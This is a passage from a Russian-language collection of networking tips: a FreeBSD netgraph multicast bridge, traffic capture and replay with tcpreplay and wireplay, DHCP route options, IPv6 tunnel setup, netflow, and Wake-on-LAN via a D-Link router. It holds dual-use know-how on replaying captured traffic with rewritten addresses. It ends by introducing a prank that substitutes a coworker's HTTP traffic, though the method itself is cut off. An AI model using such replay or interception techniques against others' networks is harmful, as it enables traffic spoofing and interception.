       usage_msg
       echo "Invalid upstream interface: ${IF_UPSTREAM}"
       return 1
       fi
       if ! ifconfig "$IF_DOWNSTREAM" > /dev/null 2>&1 ; then
       usage_msg
       echo "Invalid downstream interface: ${IF_DOWNSTREAM}"
       return 1
       fi
    
    
       case "$1" in
       start)
       # load modules
       kldload ng_ether > /dev/null 2>&1
       kldload ng_bpf > /dev/null 2>&1
    
       echo "start bridging beetwen ${IF_UPSTREAM} and ${IF_DOWNSTREAM}"
    
       BPFPROG_MCAST_IGMP=$( tcpdump -s 65535 -ddd ${PATTERN_MCAST_IGMP} | \
       ( read len ; \
       echo -n "bpf_prog_len=$len " ; \
       echo -n "bpf_prog=[" ; \
       while read code jt jf k ; do \
         echo -n " { code=$code jt=$jt jf=$jf k=$k }" ; \
       done ; \
       echo " ]" ) )
    
       BPFPROG_MCAST_IGMP_UDP=$( tcpdump -s 65535 -ddd ${PATTERN_MCAST_IGMP_UDP} | \
       ( read len ; \
       echo -n "bpf_prog_len=$len " ; \
       echo -n "bpf_prog=[" ; \
       while read code jt jf k ; do \
         echo -n " { code=$code jt=$jt jf=$jf k=$k }" ; \
       done ; \
       echo " ]" ) )
    
       # create and connect nodes
       ngctl mkpeer ${IF_UPSTREAM}: bpf lower ${IF_UPSTREAM}-lower
       ngctl name ${IF_UPSTREAM}:lower ${BR_NAME}-bpf
       ngctl connect ${IF_UPSTREAM}: ${BR_NAME}-bpf: upper ${IF_UPSTREAM}-upper
       ngctl connect ${IF_DOWNSTREAM}: ${BR_NAME}-bpf: lower ${IF_DOWNSTREAM}-lower
       ngctl connect ${IF_DOWNSTREAM}: ${BR_NAME}-bpf: upper ${IF_DOWNSTREAM}-upper
    
       # configure BPF node
       ngctl msg ${BR_NAME}-bpf: setprogram { thisHook=\"${IF_UPSTREAM}-lower\" ifMatch=\"${IF_DOWNSTREAM}-lower\" ifNotMatch=\"${IF_UPSTREAM}-upper\" ${BPFPROG_MCAST_IGMP_UDP} }
       ngctl msg ${BR_NAME}-bpf: setprogram { thisHook=\"${IF_UPSTREAM}-upper\" ifMatch=\"\" ifNotMatch=\"${IF_UPSTREAM}-lower\" ${BPFPROG_PASSTOUTH} }
       ngctl msg ${BR_NAME}-bpf: setprogram { thisHook=\"${IF_DOWNSTREAM}-lower\" ifMatch=\"${IF_UPSTREAM}-lower\" ifNotMatch=\"${IF_DOWNSTREAM}-upper\" ${BPFPROG_MCAST_IGMP} }
       ngctl msg ${BR_NAME}-bpf: setprogram { thisHook=\"${IF_DOWNSTREAM}-upper\" ifMatch=\"\" ifNotMatch=\"${IF_DOWNSTREAM}-lower\" ${BPFPROG_PASSTOUTH} }
    
       # configure net if
       ngctl msg ${IF_UPSTREAM}: setautosrc 1
       ngctl msg ${IF_UPSTREAM}: setpromisc 1
       #ngctl msg ${IF_DOWNSTREAM}: setautosrc 0
       ngctl msg ${IF_DOWNSTREAM}: setpromisc 1
       ;;
       stop)
       echo "stop"
       # remove hooks and nodes
       ngctl rmhook ${IF_UPSTREAM}: lower
       ngctl rmhook ${IF_UPSTREAM}: upper
       ngctl rmhook ${IF_DOWNSTREAM}: lower
       ngctl rmhook ${IF_DOWNSTREAM}: upper
       ngctl shutdown ${BR_NAME}-bpf:
    
       # unload modules
       #kldunload ng_ether > /dev/null 2>&1
       #kldunload ng_bpf > /dev/null 2>&1
       ;;
       *)
       usage_msg
       esac
    
    
       return 0
    
    
    Суть скрипта: между интерфейсами (ng_ether) создается подобие бриджа с ng_bpf
    посередине, который пропускает через себя только мультикаст. Причем эти пакеты
    проходят полностью в обход сетевого стека.
    
    
    Дополнение.
    
    Создать мост между em0 и re0, где re0 подключён к сети с мультикастом:
    
       mcastbr2.sh start re0 em0
    
    Удалить мост:
    
       mcastbr2.sh stop re0 em0
    
    История
    
    igmpproxy и mrouted у меня работать отказались, после нескольких часов проб,
    чтения и новых проб я решил не заниматься ремонтом ядра и этих приложений, а
    просто выборочно сбриджевать два сетевых интерфейса:
    
     - IGMP на multicast адреса из локалки в сеть провайдера и обратно;
     - UDP на multicast адреса из сети провайдера в локалку. Броадкаст не нужен, и направляется в ядро как обычно.
    
    Несмотря на цифру 2, по сути эта третья версия графа, получившая в результате
    оптимизации первых двух.
    
    Первая содержала ng_ether, ng_tee, ng_one2many, ng_bpf.
    Вторая содержала ng_ether, ng_tee, ng_one2many, ng_bpf.
    Окончательная содержит: ng_ether, ng_left2right, ng_tee, ng_bpf.
    
    В первых двух версиях создавалась копия пакета, и один уходил через мост в
    другую сеть либо отбрасывался, а второй попадал в ядро. Поскольку ядро всё
    равно их дропало где то внутри и нетграф их очень много отбрасывал, ничего
    полезного не делая, то я решил их вообще туда не посылать и организовать так
    чтобы не создавать дубликатов и не уничтожать пакеты.
    
    Принцип работы
    BPF настроен таким образом чтобы пропускать все без исключения пакеты с upper
    хуков ng_ether нод на lower хуки (пакеты от системы в сеть). Приходящие из сети
    пакеты с lower хуков нод проверяются в BPF, и
    
     - если это мультикаст;
     - и не броадкаст;
     - и IGMP [или UDP в случае если пакет от адаптера подключённого к провайдеру]
    
    то такой пакет целиком пересылается на lower хук другого адаптера, минуя
    сетевой стёк операционной системы.
    
    
    Тонкости
    
    1. Пришлось включить promisc режим на обоих интерфейсах, иначе мультикаст
    дропается самим сетевым адаптером, это нормальное поведение.
    
    2. Пришлось включить autosrc на интерфейсе в сети провайдера, так как у
    провайдера на коммутаторе настроен Port Security на пропускание только одного
    MAC адреса - первого изученного на порту после поднятия линка.
    
    3. Моему провайдеру нет дела до того какой src-ip в IP приходит от меня, если
    бы было, то я бы попробовал гнать трафик в сторону провайдера через ng_patch
    ноду, которая бы заменяла src-ip на нужны, и выставляла CSUM_IP и CSUM_UDP в
    заголовке пакета - есть шанс что драйвер сетевого адаптера сам рассчитает эти
    суммы либо что оборудование провайдера проигнорирует неверную контрольную сумму
    в IGMP пакетах от меня. Нода также подключается обоими хуками к BPF, выход
    настраивается на passtrouth (пересылку всех пакетов) на lower хук ng_ether на
    адаптере в сети провайдера, а вход ng_patch должен быть match выходом от lower
    на адаптере в локальной сети. Те совсем не большая модификация графа.
    
    4. Работает на vlan интерфейсах.
    
    
    Для создания аналогичного по функционалу моста, в котором будет несколько
    сетевых интерфейсов в разных сетях с мультикастом и несколько сетевых адаптеров
    в сетях куда его нужно переправить потребуется на каждый сетевой адаптер вешать
    по ng_split + ng_one2many и по одной ng_one2many с каждой стороны моста для
    рассылки копий мультикаста на все интерфейсы. upper хуки ng_ether нод по
    прежнему будут напрямую подключатся к BPF. В случае нескольких сетей -
    источников мультикаста будет ещё проблема с возможным перекрытием адресных
    пространств, которую можно частично разрешить настроив в BPF фильтрацию по адресам.
    
     
    ----* Запись и повторное проигрывание трафика   [комментарии]
     
    Для симулирования трафика, перехваченного сниффером и сохранённого в формате
    pcap, удобно использовать сочетание утилит tcpreplay
    (http://tcpreplay.synfin.net/) для непосредственной переотправки трафика и
    tcprewrite (http://tcpreplay.synfin.net/wiki/tcprewrite) для замены IP-адресов
    и других параметров пакетов. Повторная генерация потока может быть полезна для
    оценки поведения различных программ на различные атаки, при изучении причин
    сбоев в сетевом ПО или при проведении нагрузочного тестирования (можно менять
    интенсивность отправки пакетов).
    
    Обе утилиты входят в состав пакета tcpreplay:
    
       sudo apt-get install tcpreplay
    
    Перехват трафика можно произвести утилитой tcpdump:
    
       tcpdump -ni wlan0 -s0 -w dump.pcap port 501
    
    Для замены адреса отправителя 210.1.54.1 на адрес локальной машины 192.168.1.1
    используем утилиту tcprewrite:
    
       tcprewrite --skipbroadcast --pnat=210.1.54.1:192.168.1.1 --infile=dump.pcap --outfile=dump2.pcap
    
    Повторно генерируем пакеты, используя интерфейс eth0:
    
       tcpreplay --intf1=eth0 dump2.pcap
    
    
    Из других похожих проектов, можно отметить:
    
    fragroute - позволяет перехватывать, изменять и переотправлять трафик,
    адресованный определённому хосту.
    
    netdude - мощный редактор и просмотрщик содержимого pcap-дампов.
    
    wireplay - простая и удобная утилита для переотправки записанных в
    pcap-дампе TCP-сессий с внесением изменений. Например, для переотправки
    записанного в http.pcap HTTP-трафика:
    
       wireplay -K --role client --port 80 --target 127.0.0.1 -L -F http.pcap
    
    В ситуации, когда нужно просто сгенерировать поток на основе лога HTTP-сервера,
    можно использовать утилиту httperf:
    
    Копируем список запрашиваемых URL из лога:
    
        cat apache.log | awk '{print $7}' > requests.log
    
    Заменяем перевод сроки на нулевой символ, как того требует httperf
     
       tr "\n" "\0" < requests.log > httperf.log
    
    Симулируем отправку пакетов к IP 192.168.1.1 в 100 одновременных запросов,
    прекращаем отправку после 10 тыс. запросов.
    
        httperf --hog --server 192.168.1.1 --port 80 --wlog=n,httperf.log --rate=100 
    
     
    ----* Передача статических маршрутов в DHCP (доп. ссылка 1)   [комментарии]
     
    В основную секцию файла конфигурации DHCP сервера нужно прописать:
    
       option ms-classless-static-routes code 249 = array of unsigned integer 8;
       option rfc3442-classless-static-routes code 121 = array of unsigned integer 8;
    
    в потом в секции subnet или host прописывать:
    
       option ms-classless-static-routes 16, 172,16, 10,16,40,100;
       option rfc3442-classless-static-routes 16, 172,16, 10,16,40,100;
    
    где
    
       16 (маска)
       172.16.0.0 (сеть)
       10.16.40.100 (шлюз)
    
    
    Скрипт для генерации содержимого "option classless-route" в шестнадцатеричной
    нотации для более старых версий dhcpd:
    
      #!/usr/bin/perl
    
      use strict;
    
      # Usage:
      #   make_classless_option({ "subnet/mask" => "router", "subnet/mask" => "router", ... });
      #     subnet   the subnet address, 4 dot-separated numbers
      #     mask     the subnet mask length (e.g. /24 corresponds to 255.255.255.0, /8 corresponds to 255.0.0.0)
      #     router   the router address, 4 dot-separated numbers
    
      sub make_classless_option{
        my $routes = shift;
        my ($s1, $s2, $s3, $s4, $len, @bytes, $net, $mask, $destination, $router);
    
        $len = 2;
        @bytes = ();
        foreach $destination(keys %{$routes}) {
            ($net, $mask) = split('/', $destination);
            $router = $routes->{$destination};
            ($s1, $s2, $s3, $s4) = split(/\./, $net);
            push(@bytes, sprintf('%02x', $mask));
            push(@bytes, sprintf('%02x', $s1));
            push(@bytes, sprintf('%02x', $s2)) if($mask > 8);
            push(@bytes, sprintf('%02x', $s3)) if($mask > 16);
            push(@bytes, sprintf('%02x', $s4)) if($mask > 24);
            ($s1, $s2, $s3, $s4) = split(/\./, $router);
            push(@bytes, sprintf('%02x', $s1));
            push(@bytes, sprintf('%02x', $s2));
            push(@bytes, sprintf('%02x', $s3));
            push(@bytes, sprintf('%02x', $s4));
        }
    
        return join(':', @bytes);
      }
    
      # Пример использования
    
      print make_classless_option({
            "10.230.0.0/16" => "10.230.178.145"
            });
    
     
    ----* Настройка IPv6 в Ubuntu Linux (доп. ссылка 1)   Автор: pridumal.org.ua  [комментарии]
     
    Имеем Ubuntu 8.10 Intrepid Ibex Server Edition, выходящий в сеть по PPP и
    работающий с интранет IP через NAT.
    
    Задача: дать ему реальный, белый IPv6-адрес и сделать на его базе IPv6-маршрутизатор, 
    который будет обеспечивать передачу IPv6-пакетов между миром и локальной сетью.
    
    Для начала получим себе адрес IPv6. В этом нам поможет сервис (т.н. "брокер") http://go6.net, 
    на котором нам, в первую очередь, надо зарегистрироваться. Go6 даст нам не один
    адрес IPv6, а целую подсеть.
    Для того, чтобы выпустить пакеты IPv6 в мир go6 предоставит нам IPv4-туннель: 
    пакеты шестой версии будут упакованы в пакеты четвертой версии, в таком виде
    через провайдерские сети
    дойдут до маршрутизаторов freenet6 (именно так называется сеть, к которой мы подключаемся), 
    где их распакуют и выпустят уже в виде полноценной v6.
    
    После регистрации на указанный адрес придет письмо в котором нас интересуют поля
    Username, Password и Gateway6 Address.
    
    
    Теперь приступаем к настройке сервера. По умолчанию поддержка IPv6 в ubuntu-server уже включена. 
    В случае чего ситуацию можно исправить командой:
    
        $ sudo modprobe ipv6
    
    Нам понадобится установить всего лишь один единственный пакет:
    
        $ sudo apt-get install tspc
    
    После установки редактируем конфиг:
    
        $ sudo nano /etc/tsp/tspc.conf
    
    Вот вывод того, что включено у меня (результат команды sudo cat /etc/tsp/tspc.conf | grep -v "#")
    
        auth_method=any
        client_v4=auto
        userid=xxxxxx <== Тут ваш юзернейм из письма
        passwd=******** <== Пароль из письма
        template=setup
        server=broker.freenet6.net <== Адрес брокера
        retry_delay=30
        tunnel_mode=v6anyv4
        if_tunnel_v6v4=sit1
        if_tunnel_v6udpv4=tun
        proxy_client=no
        keepalive=yes
        keepalive_interval=30
        syslog_facility=DAEMON
        syslog_level=INFO
        host_type=router
        prefixlen=64
        if_prefix=eth0 <== Адрес сетевой карты, которая смотрит в локалку
    
    Ок, кажется всё настроили - теперь можно проверять:
    
        $ sudo /etc/init.d/tspc restart
        $ ifconfig eth0
    
    Если вы увидели там inet6 addr, начинающийся на что-то, отличное от fe... (например 2001:5с0...), 
    значит всё получилось. Иначе - читаем и повторяем всё сначала.
    
    Еще один неплохой способ проверить - пропинговать какой-нибудь IPv6-enabled сайт. 
    Например ipv6.google.com. Для этого, вместо "обычного" пинга, воспользуемся
    специальной версией для IPv6:
    
        $ ping6 ipv6.google.com
    
        PING ipv6.google.com(2001:4860:0:1001::68) 56 data bytes
        64 bytes from 2001:4860:0:1001::68: icmp_seq=1 ttl=54 time=444 ms
     
    
     
    ----* Настройка IPv6 в Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    IPv6 соединение будем туннелировать через брокер туннелей (Tunnel Broker), 
    так как не все ISP поддерживают прямое IPv6 соединение.
    
    Регистрируем свою систему в сервисе http://tunnelbroker.net/ (выбираем "Create Regular Tunnel")  , 
    http://go6.net/4105/freenet.asp или http://www.sixxs.net/
    
    При регистрации вводим IPv4 адрес машины, на которой будет поднят туннель.
    После регистрации получаем: 
    IPv4 адрес удаленного конца туннеля: 216.66.80.30
    IPv6 адрес удаленного шлюза: 2001:0470:1f0a:cc0::1/64
    Клиентский IPv6 адрес, который нужно использовать на своей машине: 2001:0470:1f0a:cc0::2/64
    
    Поднимаем IPv6-in-IPv4 туннель:
    
       ifconfig sit0 up
       ifconfig sit0 inet6 tunnel ::216.66.80.30
       ifconfig sit1 up
       ifconfig sit1 inet6 add 2001:0470:1f0a:cc0::2/64
       route -A inet6 add ::/0 dev sit1
    
    Проверяем через пинг удаленного конца туннеля и IPv6 хоста из списка
    http://www.ipv6.org/v6-www.html :
       ping6 -c4 2001:0470:1f0a:cc0::1
       ping6 -c4 www.ipv6.uni-muenster.de
    
    
    Создаем файл /etc/network/if-up.d/ipv6 для настройки параметров при загрузке:
    
       #!/bin/sh
       PATH=/sbin:/bin
       ifconfig sit0 up
       ifconfig sit0 inet6 tunnel ::216.66.80.30
       ifconfig sit1 up
       ifconfig sit1 inet6 add 2001:0470:1f0a:cc0::2/64
       route -A inet6 add ::/0 dev sit1
    
    Не забываем поставить права доступа:
       chmod 755 /etc/network/if-up.d/ipv6
    
     
    ----* Подключение FreeBSD к IPv6 - поднимаем туннель через IPv4-сети провайдера (доп. ссылка 1)   Автор: Litos  [комментарии]
     
    Итак, пришло время поднять IPv4-IPv6 gateway, чтобы ходить в мир "другого
    интернета", коим он скоро будет.
    
    Самым простым способом получить IPv6 адрес оказалось получить подключение от http://go6.net
    
    Идем на этот сайт и регистрируемся http://go6.net/4105/register.asp
    
    
    Тут же они предлагают скачать софт и поставить, например для Windows вида "скачай и запусти"
    http://go6.net/4105/download.asp
    
    Но это не совсем наш метод, мы будем подключать сервер на FreeBSD 7.0 к этой сети.
    
    Ядро у нас собрано с поддержкой IPV6, т.е. с options INET6 (ядро GENERIC уже 
    поддерживает этот протокол и если вы его не отключали, значит, он у вас есть)
    
    Итак, ставим клиента, то, что они предлагают скачивать - есть в портах
    
       Port:   gateway6-5.0_2
       Path:   /usr/ports/net/gateway6
       Info:   Gateway6 Tunnel Setup Protocol Client - Free IPv6 tunnel
       B-deps:
       R-deps:
       WWW:    http://www.go6.net/
    
    
    Приступаем к установке:
    
       cd /usr/ports/net/gateway6
       make install clean
    
    Буквально через несколько минут клиент будет установлен
    
    Отредактируйте его конфигурационный файл /usr/local/etc/gw6c.conf
    
       userid=
       passwd=
    
    Пропишите туда ваше имя и пароль которые указали при регистрации на сайте.
    
    На этом начальная настройка закончена, для дальнейшей настройки читайте документацию.
    
    Как я понял, выдается целая сеть и для авторизованных пользователей http://go6.net/4105/freenet.asp,
    тем самым можно все компьютеры дома подключить на реальные статические IPv6 адреса.
    
       server=broker.freenet6.net
    
    broker.freenet6.net - это имя сервера для подключения (написано в письме при регистрации)
    
       # Включить использование авторизации
       auth_method=any
    
       # Писать логи в syslogd
       log_syslog=3
    
    Теперь осталось запустить его
    
       echo 'gateway6_enable="YES"' >> /etc/rc.conf
       /usr/local/etc/rc.d/gateway6 start
    
    И смотрим
    
       # tail -f /var/log/messages
       Oct 17 18:39:38 lola gw6c: Gateway6 Client v5.0-RELEASE build Oct 17 2008-14:56:32
       Oct 17 18:39:38 lola gw6c: Establishing connection to tunnel broker broker.freenet6.net using reliable UDP.
       Oct 17 18:39:42 lola gw6c: Connection to broker.freenet6.net established.
       Oct 17 18:39:45 lola gw6c: Authentication success.
       Oct 17 18:39:45 lola gw6c: Got tunnel parameters from server. Setting up local tunnel.
       Oct 17 18:39:45 lola gw6c: Executing configuration script: /bin/sh "/usr/local/share/gateway6/freebsd.sh".
       Oct 17 18:39:46 lola gw6c: Script completed successfully.
       Oct 17 18:39:46 lola gw6c: Your IPv6 address is 2001:05c0:8fff:fffe:0000:0000:0000:c243.
       Oct 17 18:39:46 lola gw6c: The tunnel type is v6udpv4.
    
    
       # ifconfig
    
       tun1: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> metric 0 mtu 1280
            inet6 2001:5c0:8fff:fffe::c243 --> 2001:5c0:8fff:fffe::c242 prefixlen 128
            Opened by PID 873
    
       # traceroute6 www.jp.freebsd.org
       ...
       # ping6 www.jp.freebsd.org
       ...
    
    Все прекрасно работает не смотря на то, что выход осуществляется в мир через  
    NAT на модеме.
    
    Итак, осталось только понять, "зачем это надо", но ясно одно - за этим будущее. 
    А еще можно посмотреть на танцующую черепаху на http://www.kame.net/ :-)
    
    Также рекомендую прочитать документацию (главу в 
    HandBook http://www.freebsd.org/doc/ru_RU.KOI8-R/books/handbook/network-ipv6.html) 
    по поддержке протокола IPv6 в системе FreeBSD.
    
     
    ----* Пример настройки ng_neflow для нескольких интерфейсов.   Автор: stalex  [комментарии]
     
    #cat ng5_netflow.sh
    
       #!/bin/sh
    
       kldload ng_netflow
       kldload ng_ether
       kldload ng_tee
       kldload ng_one2many
    
       /usr/sbin/ngctl -f- <<-SEQ
         mkpeer em2: tee lower right
         connect em2: em2:lower upper left
         name em2:lower em2_tee
         mkpeer  em2:lower netflow  right2left iface0
         name em2:lower.right2left netflow
         msg netflow: setifindex { iface=0 index=1 }
         connect em2:lower netflow: left2right iface1
         msg netflow: setifindex { iface=1 index=1 }
    
         mkpeer vlan254: tee lower right
         connect vlan254: vlan254:lower upper left
         name vlan254:lower vlan254_tee
         connect vlan254:lower netflow:  right2left iface3
         msg netflow: setifindex { iface=3 index=1 }
         connect vlan254:lower netflow: left2right iface4
         msg netflow: setifindex { iface=4 index=1 }
    
         mkpeer vlan22: tee lower right
         connect vlan22: vlan22:lower upper left
         name vlan22:lower vlan22_tee
         connect vlan22:lower netflow:  right2left iface5
         msg netflow: setifindex { iface=5 index=1 }
         connect vlan22:lower netflow: left2right iface6
         msg netflow: setifindex { iface=6 index=1 }
    
         mkpeer vlan21: tee lower right
         connect vlan21: vlan21:lower upper left
         name vlan21:lower vlan21_tee
         connect vlan21:lower netflow:  right2left iface7
         msg netflow: setifindex { iface=7 index=1 }
         connect vlan21:lower netflow: left2right iface8
         msg netflow: setifindex { iface=8 index=1 }
    
         mkpeer netflow: ksocket export inet/dgram/udp
         msg netflow:export connect inet/127.0.0.1:20001
       SEQ
    
     
    ----* Прозрачный редирект порта, используя xinetd и netcat (доп. ссылка 1)   [комментарии]
     
    После переноса сервиса на новый сервер, на старом можно организовать сервис заглушку, 
    осуществляющий редирект следующим образом:
    
    /etc/xinetd.d/smtp-tcp
    
       service smtp
       {
            disable = no
            socket_type     = stream
            protocol        = tcp
            user            = nobody
            wait            = no
            server          = /bin/nc
            # server          = /usr/bin/netcat
            server_args     = -w 2 192.168.1.1 25
       }
    
    где 192.168.1.1 адрес нового сервера, nc - утилита netcat, "-w 2" - таймаут в 2 сек.
    
     
    ----* Изменение имени сетевого интерфейса в Linux   Автор: NuclearCat  [комментарии]
     
    /sbin/ifconfig ppp1 down
    /sbin/ip link set ppp1 name my_ppp
    /sbin/ifconfig my_ppp up
    
     
    ----* Статические маршруты через isc-dhcpd   Автор: Артем Бохан  [комментарии]
     
    Согласно RFC 3442 через dhcp можно отдавать таблицу маршрутизации.
    Изначально эта опция не поддерживается isc-dhcpd, но опцию можно добавить.
    
    Пример:
      option classless-route code 121 = string;
      option classless-route 18:c0:a8:ea:c0:a8:00:05;
    
    пример получения кода, взято с 
    http://rfc3442svc.sourceforge.net/isc-dhcpd-configuration.html
    
    #!/usr/bin/perl
    
    use strict;
    
    # Usage:
    #   make_classless_option({ "subnet/mask" => "router", "subnet/mask" => "router", ... });
    #     subnet   the subnet address, 4 dot-separated numbers
    #     mask     the subnet mask length (e.g. /24 corresponds to 255.255.255.0,
    /8 corresponds to 255.0.0.0)
    #     router   the router address, 4 dot-separated numbers
    sub make_classless_option
    {
        my $routes = shift;
        my ($s1, $s2, $s3, $s4, $len, @bytes, $net, $mask, $destination, $router);
    
        $len = 2;
        @bytes = ();
        foreach $destination(keys %{$routes}) {
            ($net, $mask) = split('/', $destination);
            $router = $routes->{$destination};
            ($s1, $s2, $s3, $s4) = split(/\./, $net);
            push(@bytes, sprintf('%02x', $mask));
            push(@bytes, sprintf('%02x', $s1));
            push(@bytes, sprintf('%02x', $s2)) if($mask > 8);
            push(@bytes, sprintf('%02x', $s3)) if($mask > 16);
            push(@bytes, sprintf('%02x', $s4)) if($mask > 24);
            ($s1, $s2, $s3, $s4) = split(/\./, $router);
            push(@bytes, sprintf('%02x', $s1));
            push(@bytes, sprintf('%02x', $s2));
            push(@bytes, sprintf('%02x', $s3));
            push(@bytes, sprintf('%02x', $s4));
        }
    
        return join(':', @bytes);
    }
    
    # Sample usage
    
    print make_classless_option({
            "172.16.0.0/12" => "10.0.0.1",
            "10.0.0.0/8" => "10.0.0.1",
            "0.0.0.0/0" => "192.168.0.1",
            "192.168.234.0/24" => "192.168.0.5"
            });
    
    На данный момент данную опцию поддерживает малое количество клиентов, например windows XP, 
    только по непонятным причинам использует код 249, т.е. в конфигурации сервера
    надо будет использовать
    
       option classless-route code 249 = string;
    
     
    ----* Настройка беспроводной 80211 карты под FreeBSD (доп. ссылка 1)   Автор: toxa  [комментарии]
     
    kldload bridge
    sysctl net.link.ether.bridge.enable="1"
    sysctl net.link.ether.bridge.config="wi0,fxp0"
    sysctl net.inet.ip.forwarding="1"
    ifconfig wi0 ssid toxawlan channel 11 media DS/11Mbps mediaopt hostap up stationname "toxawlan"
    
     
    ----* Обобщение используемых моделей ввода/вывода (доп. ссылка 1)   [обсудить]
     

    Стратегии организации ввода-вывода:

    1. Блокируемый I/O - после вызова read/write происходит блокировка до завершения операции, функция завершается только после принятия или передачи блока данных.
    2. Неблокируемый I/0 - функция завершается сразу, если данные не были приняты/отправлены возвращается код ошибки (т.е. нужно вызывать функции I/O в цикле пока не получим положительный результат).
    3. Мультиплексирование через select/poll - опрашиваем список состояния сокетов, перебирая состояния определяем сокеты готовые для приема/передачи. Главный минус - затраты на перебор, особенно при большом числе неактивных сокетов.
      • select - число контролируемых сокетов ограничено лимитом FD_SETSIZE, в некоторых случаях лимит обходится пересборкой программы, в других - пересборкой ядра ОС.
      • poll - нет лимита FD_SETSIZE, но менее эффективен из за большего размера передаваемой в ядро структуры.
    4. Генерация сигнала SIGIO при изменении состояния сокета (ошибка, есть данные для приема, или отправка завершена), который обрабатывает обработчик SIGIO. В классическом виде применение ограничено и трудоемко, подходит больше для UDP.
    5. Асинхронный I/O - описан в POSIX 1003.1b (aio_open, aio_write, aio_read...), функция aio_* завершается мгновенно, далее процесс сигнализируется о полном завершении операции ввода/вывода (в предыдущих пунктах процесс информировался о готовности прочитать или передать данные, т.е. данные еще нужно было принять или отправить через read/write, в aio_* процесс сигнализируется когда данные полностью получены и скопированы в локальный буфер).
    6. Передача данных об изменении состояния сокета через генерацию событий. (специфичные для определенных ОС решения, малопереносимы, но эффективны).


     
    ----* tcpdump для просмотра содержимого пакетов по определенным портам. (доп. ссылка 1)   [комментарии]
     
    tcpdump -X -s 1500 -n -i fxp0 (tcp port 443) or (tcp port 994)
    Если нужно выбрать трафик в котором не фигурируют IP 1.2.3.190 и
    192.168.20.254, а также внутренние
    пересылки между адресами 192.168.20 сети, можно использовать правило фильтрации:
       not host 1.2.3.190 and not host 192.168.20.254 and not (dst net 192.168.20.0/24 and src net 192.168.20.0/24)
    
     
    ----* Как в FreeBSD добавить/убрать алиас для сетевого интерфейса   [комментарии]
     
    Добавить: ifconfig fxp0 inet 192.168.1.1 netmask 255.255.255.255 alias
    Убрать: ifconfig fxp0 inet 192.168.1.1 netmask 255.255.255.255 -alias
    
     
    ----* Табличка с сетевыми масками. (доп. ссылка 1)   [комментарии]
     
    адресов в подсети, 255.255.255.x маска, /x маска, .0 - cisco acl маска.
    0       .255 /32 .0
    2       .254 /31 .1
    4       .252 /30 .3
    8       .248 /29 .7
    16      .240 /28 .15
    32      .224 /27 .31
    64      .192 /26 .63
    128     .128 /25 .127
    256     .0   /24 .255
    
     

       Ethernet, ARP, привязка MAC адресов.

    ----* Пробуждение компьютера по сети с помощью D-Link DIR 300 (320) NRU   Автор: jPump  [комментарии]
     
    Задача: 
    
    Осуществить возможность пробуждения (Wake on Lan) из интернета удаленного
    компьютера, находящегося дома за роутером марки D-Link (DIR-300, DIR-320).
    
    Решение:
    
    Использование команды ip, имеющейся в стандартных сборках BusyBox'a в роутерах D-Link.
      
    Предисловие:
    
    Дома стоит роутер D-Link DIR-320/NRU ревизии B1, а до этого был DIR-300/NRU
    ревизии B5, для которых (на данный момент) нет альтернативных готовых прошивок
    (в том числе и горячо всеми любимой DD-WRT). На роутере стоит BusyBox 1.12.
    
    Проблема состояла в том, что встроенное в веб-интерфейс средство переброса
    пакетов не позволяют переадресацию в широковещательный канал - broadcast
    (x.x.x.255), а хитровыделанный D-Link обновляет arp-таблицу каждые 15-30
    секунд, так что непосредственно в выключенный длительное время компьютер Magic
    Packet тоже не перебросить. Тайваньские ребята решили отказаться от компиляции
    arp, sudo и прочих печенюшек в BusyBox, поскольку iptables тоже не позволяет
    POSTROUTING на широковещательный канал.
    
    Решение после недели напряженного поиска было найдено случайно на ныне
    почившем форуме сборки линукса для старых компьютеров под роутер.
    
    Пример:
    
    Для начала настройте BIOS вашей материнской платы (в разделе настроек питания
    есть пункт о пробуждении из выключенного состояния) и вашей сетевой карты (уже
    из операционной системы в свойствах карты). Для проверки выключите компьютер и
    посмотрите, если индикация сетевого разъема мигает, значит все в порядке.
    
    1. Подключаемся  telnet-ом к роутеру (логин и пароль те же, что и для веб-интерфейса):
    
       Dlink-Router login: admin
       Password:
       Welcome to
       	 _______          ___     __  ____   _  _   ___
       	|  ___  \\        |   |   |__||    \\ | || | /  /
       	| |   | ||  ___  |   |__  __ |     \\| || |/  /
       	| |___| || |___| |      ||  || |\\     ||     \\
       	|_______/        |______||__||_| \\____||_|\\___\\
       
       					 = Ebuilding Networks for People =
       
       
       
       BusyBox v1.12.1 (2011-05-13 14:42:48 MSD) built-in shell (ash)
       Enter 'help' for a list of built-in commands.
       
       #
       
    2. Если компьютер в данный момент присоединен к роутеру, то ищем его mac-адрес, набираем:
      
       # ip neigh show
    
       <Внешний_ip> dev eth2.5 lladdr 01:23:45:67:AB:CD DELAY   ! Внешний адрес
       192.168.0.50 dev br0 lladdr 11:22:33:44:55:66 REACHABLE  ! Настольный компьютер 
       192.168.0.90 dev br0 lladdr 77:88:99:00:AA:BB REACHABLE  ! Ноутбук
    
    3. Поскольку в данный момент уже уже есть запись для нашего mac-адреса, то мы
    не добавляем, а просто изменяем текущую:
      
       # ip neigh change 192.168.0.50 lladdr 11:22:33:44:55:66 nud permanent dev br0
       
    4. Смотрим результат, снова набираем:
      
       # ip neigh show
    
       <Внешний_ip> dev eth2.5 lladdr 01:23:45:67:AB:CD DELAY   ! Внешний адрес
       192.168.0.50 dev br0 lladdr 11:22:33:44:55:66 PERMANENT  ! Настольный компьютер 
       192.168.0.90 dev br0 lladdr 77:88:99:00:AA:BB REACHABLE  ! Ноутбук
      
    После этого уже заходим на веб-интерфейс нашего роутера и в разделе "межсетевой
    экран" в пункте "Виртуальные серверы" добавляем проброс 9 (или 7, в зависимости
    от вашей сетевой карты) порта роутера на порт ip вашего компьютера.
    
    Послесловие: 
    
    Совет: настройте через веб-интрефейс роутера DHCP для mac'а вашего компьютера
    статический IP (по умолчанию DIR-300(320)/NRU выдает их в диапазоне от
    192.168.0.2 - 192.168.0.100)
    
    Дополнительные ссылки:
    
  • Немного о линуксовых командах в пределах BusyBox: http://noted.org.ua/1727
  • Чуть подробнее про команду ip: http://linux-ip.net/html/tools-ip-neighbor.html
  • Для проверки работоспособности можно воспользоваться сайтом: http://wakeonlan.me/
  • Особая благодарность русскоязычному форуму D-Link'a, оказавшую неоценимую помощь и моральную поддержку: 1, 2, 3
  •  
    ----* Подстановка HTTP-трафика определенному компьютеру в локальной сети (доп. ссылка 1)   [комментарии]
     
    Используя нехитрые манипуляции в Linux можно подшутить или удивить соседа по
    офису, например отобразив персональное поздравление при попытке открыть соседом
    какой-нибудь известного ресурса. Манипуляции проделываются без изменения
